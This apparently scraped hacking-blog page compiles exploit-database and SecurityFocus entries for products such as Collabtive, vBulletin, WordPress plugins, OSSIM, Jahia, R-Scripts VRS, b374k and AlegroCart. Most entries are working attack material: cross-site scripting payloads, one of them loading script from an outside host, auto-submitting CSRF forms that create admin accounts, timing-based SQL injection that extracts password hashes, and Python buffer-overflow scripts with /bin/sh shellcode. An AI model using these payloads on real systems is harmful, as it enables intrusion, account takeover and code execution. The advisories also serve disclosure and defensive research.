source: https://www.securityfocus.com/bid/61356/info
YardRadius is prone to multiple local format-string vulnerabilities.
Local attackers can leverage these issues to cause denial-of-service conditions. Due to nature of these issues, arbitrary code-execution within the context of the vulnerable application may also be possible.
YardRadius 1.1.2-4 is vulnerable; other versions may also be possible.
The following proof-of-concept is available:
ln -s radiusd %x
./%x -v
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863529585
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/61384/info
Collabtive is prone to multiple cross-site scripting vulnerabilities, an arbitrary file upload vulnerability, and a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to bypass certain security restrictions, upload and execute arbitrary script code in the context of the affected web server process. This may let attackers steal cookie-based authentication credentials, perform unauthorized actions, or compromise the application; other attacks are possible.
Collabtive 1.0 is vulnerable; other versions may also be affected.
File upload:
https://www.example.com/secprj/files/standard/avatar/uploadedshell_104185.php
Cross-site scripting:
https://www.example.com/secprj/managechat.php?userto=<SCRIPT/XSS SRC="http://www.example1.com/xss.js";></SCRIPT>&uid=2
"><SCRIPT/XSS SRC="http://www.example1.com/xss.js";></SCRIPT>
Security-bypass:
https://www.example.com/secprj/manageuser.php?action=del&id=5
source: https://www.securityfocus.com/bid/61425/info
The Duplicator plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Duplicator 0.4.4 is vulnerable; other versions may also be affected.
http://www.example.com/wp-content/plugins/duplicator/files/installer.cleanup.php?remove=1&package=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
source: https://www.securityfocus.com/bid/61401/info
The FlagEm plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
http://www.example.com/wp-content/plugins/FlagEm/flagit.php?cID=[Xss]
source: https://www.securityfocus.com/bid/61423/info
Magnolia CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Magnolia CMS versions 4.5.7, 4.5.8, 4.5.9, 5.0 and 5.0.1 are vulnerable.
<form action="http://www.example.com/magnoliaPublic/demo-project/members-area/registration.html" method="post" name="main">
<input type="hidden" name="mgnlModelExecutionUUID" value="8417fe0e-8f61-4d21-bdf1-c9c23b13ba14">
<input type="hidden" name="password" value='password'>
<input type="hidden" name="passwordConfirmation" value='password'>
<input type="hidden" name="username" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="fullName" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="email" value='"><script>alert(document.cookie);</script>'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
source: https://www.securityfocus.com/bid/61449/info
VBulletin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
VBulletin 4.0.x are vulnerable.
The exploit is caused due to a variable named 'update_order' not being
sanitized before being used within an insert into statement.
if ($_REQUEST['do'] == 'update_order')
{
$vbulletin->input->clean_array_gpc('r', array(
'force_read_order' => TYPE_ARRAY
));
if ($vbulletin->GPC['force_read_order'])
{
foreach ($vbulletin->GPC['force_read_order'] AS $threadid => $order)
{
$db->query_write("
UPDATE " . TABLE_PREFIX . "thread AS thread
SET force_read_order = '$order'
WHERE threadid = '$threadid'
");
}
}
POC
You will need Admincp Access then go to
site.com/admincp/force_read_thread.php then in the force read order colum
put a ' into one of them to show this
Database error in vBulletin 4.2.1:
Invalid SQL:
UPDATE thread AS thread
SET force_read_order = '1''
WHERE threadid = '5161';
MySQL Error : You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'5161'' at line 2
Error Number : 1064
Request Date : Thursday, July 25th 2013 @ 01:20:52 AM
Error Date : Thursday, July 25th 2013 @ 01:20:52 AM
Script :
http://www.example.com/admincp/force_read_thread.php?do=update_order
Referrer : http://www.example.com/admincp/force_read_thread.php
IP Address :
Username : n3tw0rk
Classname :
MySQL Version :
# Exploit Title: WP Fastest Cache 0.8.4.8 Blind SQL Injection
# Date: 11-11-2015
# Software Link: https://wordpress.org/plugins/wp-fastest-cache/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
1. Description
For this vulnerabilities also WP-Polls needs to be installed.
Everyone can access wpfc_wppolls_ajax_request().
$_POST["poll_id"] is not escaped properly.
File: wp-fastest-cache\inc\wp-polls.php
public function wpfc_wppolls_ajax_request() {
$id = strip_tags($_POST["poll_id"]);
$id = mysql_real_escape_string($id);
$result = check_voted($id);
if($result){
echo "true";
}else{
echo "false";
}
die();
}
http://security.szurek.pl/wp-fastest-cache-0848-blind-sql-injection.html
2. Proof of Concept
<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wpfc_wppolls_ajax_request">
<input type="text" name="poll_id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1) -- ">
<input type="submit" value="Send">
</form>
3. Solution:
Update to version 0.8.4.9
source: https://www.securityfocus.com/bid/61456/info
Open Source SIEM (OSSIM) is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Open Source SIEM (OSSIM) 4.2.3 is vulnerable; other versions may also be affected.
https://
<IP>/ossim/vulnmeter/index.php?withoutmenu=%22%3E%3Cimg%20src%3da%20onerror%3dalert%28%27XSS%27%29%3E
https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu="><img%20src%3da%20onerror%3dalert('XSS')>
https://
<IP>/ossim/av_inventory/task_edit.php?section="><img%20src%3da%20onerror%3dalert('XSS')>
https://
<IP>/ossim/nfsen/rrdgraph.php?cmd=get-detailsgraph&profile=<img%20src%3da%20onerror%3dalert('XSS')>
POST /ossim/vulnmeter/simulate.php HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu=1
Content-Length: 72
Cookie: JXID=blahblah; JXHID=false; PHPSESSID=blahblah
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
hosts_alive=1&scan_locally=1¬_resolve=0&scan_server=<img%20src%3da%20onerror%3dalert('XSS')>&targets=blah
POST /ossim/vulnmeter/simulate.php HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0)
Gecko/20100101 Firefox/21.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://
<IP>/ossim/vulnmeter/sched.php?smethod=schedule&hosts_alive=1&scan_locally=1&withoutmenu=1
Content-Length: 72
Cookie: JXID=blahblah; JXHID=false; PHPSESSID=blahblah
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
hosts_alive=1&scan_locally=1¬_resolve=0&scan_server=Null&targets=blah<img%20src%3da%20onerror%3dalert('XSS')>
# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
# Program: fbzx - ZX Spectrum Emulator for X
# Tested on: GNU/Linux - Kali Linux 2.0 x86
#
# Description: FBZX v2.10 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: *http://www.rastersoft.com/ <http://www.rastersoft.com/>*
# Kali Linux 2.0 package: http://repo.kali.org/kali/pool/contrib/f/fbzx/
# MD5: 0fc1d2e9c374c1156b2b02186a9f8980
import os,subprocess
def run():
try:
print "# FBZX v2.10 Stack-Based Overflow by Juan Sacco"
print "# It's Fuzzing time on unusable exploits"
print "# This exploit is for educational purposes only"
# Basic structure: JUNK + SHELLCODE + NOPS + EIP
junk = "\x41"*8
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
nops = "\x90"*5010
eip = "\x10\xd3\xff\xbf"
subprocess.call(["fbzx",' ', junk + shellcode + nops + eip])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "FBZX not found!"
else:
print "Error executing exploit"
raise
def howtousage():
print "Sorry, something went wrong"
sys.exit(-1)
if __name__ == '__main__':
try:
print "Exploit FBZX 2.10 Local Overflow Exploit"
print "Author: Juan Sacco"
except IndexError:
howtousage()
run()
source: https://www.securityfocus.com/bid/61491/info
XMonad.Hooks.DynamicLog module for xmonad is prone to multiple remote command-injection vulnerabilities.
Successful exploits will result in the execution of arbitrary commands in the context of the affected applications. This may aid in further attacks.
<html>
<head>
<title><action=xclock>An innocent title</action></title>
</head>
<body>
<h1>Good bye, cruel world</h1>
</body>
</html>
source: https://www.securityfocus.com/bid/61571/info
Jahia xCM is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Jahia xCM 6.6.1.0 r43343 is vulnerable; other versions may also be affected.
http://www.example.com/engines/manager.jsp?conf=repositoryexplorer&site=%3C/script%3E%3Cscript%3Ealert%28docu ment.cookie%29;%3C/script%3E
source: https://www.securityfocus.com/bid/61571/info
Jahia xCM is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.
An attacker could exploit these vulnerabilities to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Jahia xCM 6.6.1.0 r43343 is vulnerable; other versions may also be affected.
<form action="http://www.example.com/administration/?do=users&sub=search" method="post" name="main">
<input type="hidden" name="searchString" value="'><script>alert(document.cookie);</script>">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
<form action="http://www.example.com/administration/?do=users&sub=processCreate" method="post" name="main">
<input type="hidden" name="username" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:firstName" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:lastName" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:email" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:organization" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="actionType" value='save'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
R-Scripts VRS 7R Multiple Stored XSS And CSRF Vulnerabilities
Vendor: R-Scripts
Product web page: http://www.r-scripts.com
Affected version: 7R
Summary: PHP Vacation Rental Script is the best solution
for your vacation rentals online business.
Desc: The application allows users to perform certain actions
via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in
user visits a malicious web site. Stored cross-site scripting
vulnerabilitity was also discovered. The issue is triggered
when input passed via multiple POST parameters is not properly
sanitized before being returned to the user. This can be
exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.
Tested on: Apache/2.2.29
PHP/5.3.29
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5274
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5274.php
01.10.2015
--
CSRF Add Admin:
---------------
<html>
<body>
<form action="http://127.0.0.1/admin/users/add" method="POST" enctype="multipart/form-data">
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="username" value="Testingus" />
<input type="hidden" name="password" value="123123" />
<input type="hidden" name="retype_password" value="123123" />
<input type="hidden" name="generate_password_label" value=" Generate password" />
<input type="hidden" name="name" value="Test" />
<input type="hidden" name="email" value="test@test.tld" />
<input type="hidden" name="phone" value="111111111" />
<input type="hidden" name="phone2" value=" " />
<input type="hidden" name="sms_phone" value=" " />
<input type="hidden" name="sms_active" value="0" />
<input type="hidden" name="fax" value=" " />
<input type="hidden" name="country" value="Uganda" />
<input type="hidden" name="location" value="N" />
<input type="hidden" name="address" value="Address" />
<input type="hidden" name="zip" value=" " />
<input type="hidden" name="active_newsletter" value="0" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="banned" value="0" />
<input type="hidden" name="ban_reason" value=" " />
<input type="hidden" name="verified_user" value="1" />
<input type="hidden" name="paypal_email" value=" " />
<input type="hidden" name="submitf" value="submit" />
<input type="submit" value="CSRF Add Admin" />
</form>
</body>
</html>
Privilege Escalation:
---------------------
<html>
<body>
<form action="http://127.0.0.1/admin/users/edit/4" method="POST" enctype="multipart/form-data">
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="username" value="member" />
<input type="hidden" name="password" value=" " />
<input type="hidden" name="retype_password" value=" " />
<input type="hidden" name="generate_password_label" value=" Generate password" />
<input type="hidden" name="name" value="Member" />
<input type="hidden" name="email" value="vrs_owner@vacationrentalscript.com" />
<input type="hidden" name="phone" value=" " />
<input type="hidden" name="phone2" value=" " />
<input type="hidden" name="sms_phone" value=" " />
<input type="hidden" name="sms_active" value="0" />
<input type="hidden" name="fax" value=" " />
<input type="hidden" name="country" value="Germany" />
<input type="hidden" name="location" value="test" />
<input type="hidden" name="address" value="test address" />
<input type="hidden" name="zip" value=" " />
<input type="hidden" name="active_newsletter" value="1" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="banned" value="0" />
<input type="hidden" name="ban_reason" value=" " />
<input type="hidden" name="verified_user" value="1" />
<input type="hidden" name="paypal_email" value="sandbox_owner2@vacationrentalscript.com" />
<input type="hidden" name="submitf" value="submit_view" />
<input type="submit" value="Escalate" />
</form>
</body>
</html>
Stored XSS:
-----------
<html>
<body>
<form action="http://127.0.0.1/admin/mail_templates/add" method="POST">
<input type="hidden" name="alias" value='" onmousemove=confirm(1) >' />
<input type="hidden" name="sender_name" value='" onmousemove=confirm(2) >' />
<input type="hidden" name="sender_email" value='" onmousemove=confirm(3) >' />
<input type="hidden" name="bcc_copy" value='" onmousemove=confirm(4) >' />
<input type="hidden" name="subject_1" value='" onmousemove=confirm(5) >' />
<input type="hidden" name="subject_2" value=" " />
<input type="hidden" name="subject_3" value=" " />
<input type="hidden" name="subject_4" value=" " />
<input type="hidden" name="subject_5" value=" " />
<input type="hidden" name="body_1" value="test" />
<input type="hidden" name="body_2" value=" " />
<input type="hidden" name="body_3" value=" " />
<input type="hidden" name="body_4" value=" " />
<input type="hidden" name="body_5" value=" " />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="is_bulk_mail" value="0" />
<input type="hidden" name="submitf" value="submit_view" />
<input type="submit" value="XSS Add Mail" />
</form>
</body>
</html>
Stored XSS:
-----------
<html>
<body>
<form action="http://127.0.0.1/admin/locations/add" method="POST">
<input type="hidden" name="location_selected_id" value="0" />
<input type="hidden" name="temp_lat" value="0" />
<input type="hidden" name="temp_lng" value="0" />
<input type="hidden" name="title_1" value='" onmousemove=confirm(1) >' />
<input type="hidden" name="title_2" value=" " />
<input type="hidden" name="title_3" value=" " />
<input type="hidden" name="title_4" value=" " />
<input type="hidden" name="title_5" value=" " />
<input type="hidden" name="location_parent_id" value="-1" />
<input type="hidden" name="slug_1" value=" " />
<input type="hidden" name="slug_2" value=" " />
<input type="hidden" name="slug_3" value=" " />
<input type="hidden" name="slug_4" value=" " />
<input type="hidden" name="slug_5" value=" " />
<input type="hidden" name="lat" value='" onmousemove=confirm(2) >' />
<input type="hidden" name="lng" value='" onmousemove=confirm(3) >' />
<input type="hidden" name="zip_code" value=" " />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="submitf" value="submit" />
<input type="submit" value="XSS Add Location" />
</form>
</body>
</html>
Stored XSS:
-----------
<html>
<body>
<form action="http://127.0.0.1/admin/coupons/add" method="POST">
<input type="hidden" name="start_date" value=" " />
<input type="hidden" name="start_date_picker" value=" " />
<input type="hidden" name="end_date" value="2015-11-12" />
<input type="hidden" name="end_date_picker" value='" onmousemove=confirm(1) >' />
<input type="hidden" name="title" value='" onmousemove=confirm(2) >' />
<input type="hidden" name="hash" value="RG8AVL" />
<input type="hidden" name="coupon_code" value='" onmousemove=confirm(3) >' />
<input type="hidden" name="discount" value='" onmousemove=confirm(4) >' />
<input type="hidden" name="utimes" value='" onmousemove=confirm(5) >' />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="submitf" value="submit_view" />
<input type="submit" value="XSS Add Coupons" />
</form>
</body>
</html>
# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
# Program: tack - Terminal action checker
# Tested on: GNU/Linux - Kali Linux 2.0 x86
#
# Description: TACK v1.07 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: *http://www.z <http://www.rastersoft.com/>nyx.com <http://nyx.com>*
# Kali Linux 2.0 package: pool/main/t/tack/tack_1.07-1_amd64.deb
# MD5: 0fc1d2e9c374c1156b2b02186a9f8980
import os,subprocess
def run():
try:
print "# TACK v1.07 Stack-Based Overflow by Juan Sacco"
print "# It's Fuzzing time on unusable exploits"
print "# This exploit is for educational purposes only"
# Basic structure: JUNK + SHELLCODE + NOPS + EIP
junk = "\x41"*10
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
nops = "\x90"*3022
eip = "\x30\xd1\xff\xbf"
subprocess.call(["tack",' ', junk + shellcode + nops + eip])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "TACK not found!"
else:
print "Error executing exploit"
raise
def howtousage():
print "Sorry, something went wrong"
sys.exit(-1)
if __name__ == '__main__':
try:
print "Exploit TACK 1.07 Local Overflow Exploit"
print "Author: Juan Sacco"
except IndexError:
howtousage()
run()
#!/usr/bin/env python
# Exploit Title : Sam Spade 1.14 S-Lang Command Field SEH Overflow Crash PoC
# Discovery by : Nipun Jaswal
# Email : mail@nipunjaswal.info
# Discovery Date : 12/11/2015
# Vendor Homepage : http://samspade.org
# Software Link : http://www.majorgeeks.com/files/details/sam_spade.html
# Tested Version : 1.14
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS : Windows XP Professional SP2 x86 es
# Crash Point : Go to Tools > S-Lang Command> Enter the contents of 'sam_spade_slang_dos.txt' > OK , Note: Do Not Remove the round bracket
##########################################################################################
# -----------------------------------NOTES----------------------------------------------#
##########################################################################################
# And the Stack
#00FBFE80 41414141 AAAA
#00FBFE84 41414141 AAAA
#00FBFE88 42424242 BBBB Pointer to next SEH record
#00FBFE8C 43434343 CCCC SE handler
# After the execution of POC, the SEH chain looks like this:
#Address SE handler
#00FBFE88 43434343
#42424242 *** CORRUPT ENTRY ***
f = open("sam_spade_slang_dos.txt", "w")
Junk_a = "A"*528
nseh= "B" * 4
seh= "C" *4
f.write(Junk_a+nseh+seh)
f.close()
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-B374K-CSRF-CMD-INJECTION.txt
Vendor:
============================================
github.com/b374k/b374k
code.google.com/p/b374k-shell/downloads/list
code.google.com/archive/p/b374k-shell/
Product:
==============================================
b374k versions 3.2.3 and 2.8
b374k is a PHP Webshell with many features such as:
File manager (view, edit, rename, delete, upload, download as archive,etc)
Command execution, Script execution (php, perl, python, ruby, java,
node.js, c)
Give you shell via bind/reverse shell connect
Connect to DBMS (mysql, mssql, oracle, sqlite, postgresql, and many more
using ODBC or PDO)
Process list/Task manager.
This is useful for system/web admin to do remote management without opening
cpanel, connecting using ssh,
ftp etc. All actions take place within a web browser.
Note:
b374k is considered by some as a malicious backdoor and is flagged by some
AV upon download.
Vulnerability Type:
=============================
CSRF Remote Command Injection
Vulnerability Details:
=====================
No CSRF protection exists in b374k Web Shell allowing arbitrary OS command
injection, if currently
logged in user visits our malicious website or clicks our infected linxs.
vulnerable b374k code:
<?php
if(isset($_GP['cmd'])) <------ $_GP holds value of $_GET passed to the
shell.
<form action='<?php echo $s_self; ?>' method='post'>
<input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd'
style='width:70%;' value='<?php
if(isset($_GP['cmd'])) echo "";
else echo "- shell command -";
?>' />
<noscript><input class='inputzbut' type='submit' value='Go !'
name='submitcmd' style='width:80px;' /></noscript>
</form>
Exploit code(s):
=================
Run Windows calc.exe as POC...
[CSRF Command Injections]
v3.2
Adding password and packing to b374k single PHP file.
c:\xampp\htdocs\b374k-master>php -f index.php -- -o myshell.php -p abc123
-s -b -z gzcompress -c 9
b374k shell packer 0.4.2
Filename : myshell.php
Password : xxxxxx
Theme : default
Modules : convert,database,info,mail,network,processes
Strip : yes
Base64 : yes
Compression : gzcompress
Compression level : 9
Result : Succeeded : [ myshell.php ] Filesize : 111419
(CSRF Command injection 1)
<form id='ABYSMALGODS' action='
http://localhost/b374k-master/myshell.php?run=convert,database,info,mail,network,processes'
method='post'>
<input id='cmd' type='text' name='terminalInput' value='calc.exe' />
<script>document.getElementById('ABYSMALGODS').submit()</script>
</form>
v2.8
(CSRF Command injection 2)
<form id='HELL' action='http://localhost/b374k-2.8.php?' method='post'>
<input id='cmd' type='text' name='cmd' value='calc.exe' />
<script>document.getElementById('HELL').submit()</script>
</form>
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Description:
==================================================
Request Method(s): [+] POST
Vulnerable Product: [+] b374k 3.2 and 2.8
Vulnerable Parameter(s): [+] terminalInput, cmd
Affected Area(s): [+] OS
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
by hyp3rlinx
source: https://www.securityfocus.com/bid/61578/info
SilverStripe is prone to an information-disclosure vulnerability.
An attacker can exploit this issue to gain access to sensitive information that may aid in further attacks.
SilverStripe 3.0.3 is vulnerable; other versions may also be affected.
http://<X.X.X.X:Port>/Security/LoginForm?AuthenticationMethod=MemberAuthenticator&Email=<email>&Password=<password>&BackURL=%2Fadmin%2Fpages&action_dologin=Log+in
source: https://www.securityfocus.com/bid/61728/info
Kwok Information Server is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Kwok Information Server 2.7.3 and 2.8.4 are vulnerable; other versions may also be affected.
http://www.example.com/kwok/IT/hardware-list.dll?cmd=search&hardwareType=49[Inject Payload Here]
http://www.example.com/kwok/IT/hardware-list.dll?cmd=search&hardwareStatus=0[Inject Payload Here]
http://www.example.com/kwok/IT/hardware-list.dll?cmd=search&hardwareLocation=0[Inject Payload Here]
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: AlegroCart 1.2.8
Fixed in: Patch AC128_fix_17102015
Path Link: http://forum.alegrocart.com/download/file.php?id=1040
Vendor Website: http://alegrocart.com/
Vulnerability Type: SQL Injection
Remote Exploitable: Yes
Reported to vendor: 09/29/2015
Disclosed to public: 11/13/2015
Release mode: Coordinated release
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
There is a blind SQL injection in the admin area of AlegroCart. Additionally,
there is a blind SQL injection when a customer purchases a product. Because of
a required interaction with PayPal, this injection is hard to exploit for an
attacker.
3. BLind SQL Injection (Admin)
CVSS
Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description
When viewing the list of uploaded files - or images - , the function
check_download is called. This function performs a database query with the
unsanitized name of the file. Because of this, an attacker can upload a file
containing SQL code in its name, which will be executed once files are listed.
Note that a similar function - check_filename - is called when deleting a file,
making it likely that this operation is vulnerable as well.
Admin credentials are required to exploit this issue.
Proof of Concept
POST /ecommerce/AlegroCart_1.2.8-2/upload/admin2/?controller=download&action=insert HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: alegro=accept; admin_language=en; alegro_sid=96e1abd77b24dd6f820b82eb32f2bd04_36822a89462da91b6ad8c600a468b669; currency=CAD; catalog_language=en; __atuvc=4%7C37
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16690383031191084421650661794
Content-Length: 865
-----------------------------16690383031191084421650661794
Content-Disposition: form-data; name="language[1][name]"
test
-----------------------------16690383031191084421650661794
Content-Disposition: form-data; name="download"; filename="image.jpg' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(100000000,ENCODE('MSG','by 5 seconds')),null) -- -"
Content-Type: image/jpeg
img
-----------------------------16690383031191084421650661794
Content-Disposition: form-data; name="mask"
11953405959037.jpg
-----------------------------16690383031191084421650661794
Content-Disposition: form-data; name="remaining"
1
-----------------------------16690383031191084421650661794
Content-Disposition: form-data; name="dc8bd9802df2ba1fd321b32bf73c62c4"
f396df6c76265de943be163e9b65878a
-----------------------------16690383031191084421650661794--
Visiting
http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/admin2/?controller=download
will trigger the injected code.
Code
/upload/admin2/model/products/model_admin_download.php
function check_download($filename){
$result = $this->database->getRow("select * from download where filename = '".$filename."'");
return $result;
}
function check_filename($filename){
$results = $this->database->getRows("select filename from download where filename = '" . $filename . "'");
return $results;
}
/upload/admin2/controller/download.php
function checkFiles() {
$files=glob(DIR_DOWNLOAD.'*.*');
if (!$files) { return; }
foreach ($files as $file) {
$pattern='/\.('.implode('|',$this->prohibited_types).')$/';
$filename=basename($file);
if (!preg_match($pattern,$file) && $this->validate->strlen($filename,1,128)) {
$result = $this->modelDownload->check_download($filename);
if (!$result) { $this->init($filename); }
}
}
}
4. BLind SQL Injection (Customer)
CVSS
Medium 5.1 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description
There is an SQL Injection when using Paypal as a payment method during
checkout.
Please note that this injection requires that a successful interaction with
Paypal took place. For test purposes, we commented out the parts of the code
that actually perform this interaction with Paypal.
Proof of Concept
1. Register a User
2. Buy an item, using PayPal as payment method; stop at step "Checkout Confirmation"
3. Visit this link to trigger the injection: http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/?controller=checkout_process&method=return&tx=REQUEST_TOKEN&ref=INJECTION. Note that this requires a valid paypal tx token.
The injection can be exploited blind:
http://localhost/ecommerce/AlegroCart_1.2.8-2/upload/?controller=checkout_process&method=return&tx=REQUEST_TOKEN&ref=-1' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23)
However, this is rather unpractical, especially considering the need for a
valid PayPal token for each request.
It is also possible with this injection to inject into an UPDATE statement in
update_order_status_paidunconfirmed. The problem here is that it is difficult
to create an injection that exploits the UPDATE statement, but also results in
an order_id being returned by the previous SELECT statement.
It may also be possible to use the order_id that can be controlled via the
SELECT statement to inject into the INSERT statement in update_order_history.
But again, it is difficult to craft a query that does this, but also returns a
valid result for the UPDATE query.
Code
/upload/catalog/extension/payment/paypal.php:
function orderUpdate($status = 'final_order_status', $override = 0) {
//Find the paid_unconfirmed status id
$results = $this->getOrderStatusId('order_status_paid_unconfirmed');
$paidUnconfirmedStatusId = $results?$results:0;
//Find the final order status id
$results = $this->getOrderStatusId($status);
$finalStatusId = $results?$results:0;
$reference = $this->request->get('ref');
//Get Order Id
$res = $this->modelPayment->get_order_id($reference);
$order_id = $res['order_id'];
//Update order only if state in paid unconfirmed OR override is set
if ($order_id) {
if ($override) {
// Update order status
$result = $this->modelPayment->update_order_status_override($finalStatusId,$reference);
// Update order_history
if ($result) {
$this->modelPayment->update_order_history($order_id, $finalStatusId, 'override');
}
} else {
// Update order status only if status is currently paid_unconfirmed
$result = $this->modelPayment->update_order_status_paidunconfirmed($finalStatusId, $reference, $paidUnconfirmedStatusId);
// Update order_history
if ($result) {
$this->modelPayment->update_order_history($order_id, $finalStatusId, 'PDT/IPN');
}
}
}
}
/upload/catalog/model/payment/model_payment.php:
function get_order_id($reference){
$result = $this->database->getrow("select `order_id` from `order` where `reference` = '" . $reference . "'");
return $result;
}
function update_order_history($order_id, $finalStatusId,$comment){
$this->database->query("insert into `order_history` set `order_id` = '" . $order_id . "', `order_status_id` = '" . $finalStatusId . "', `date_added` = now(), `notify` = '0', `comment` = '" . $comment . "'");
}
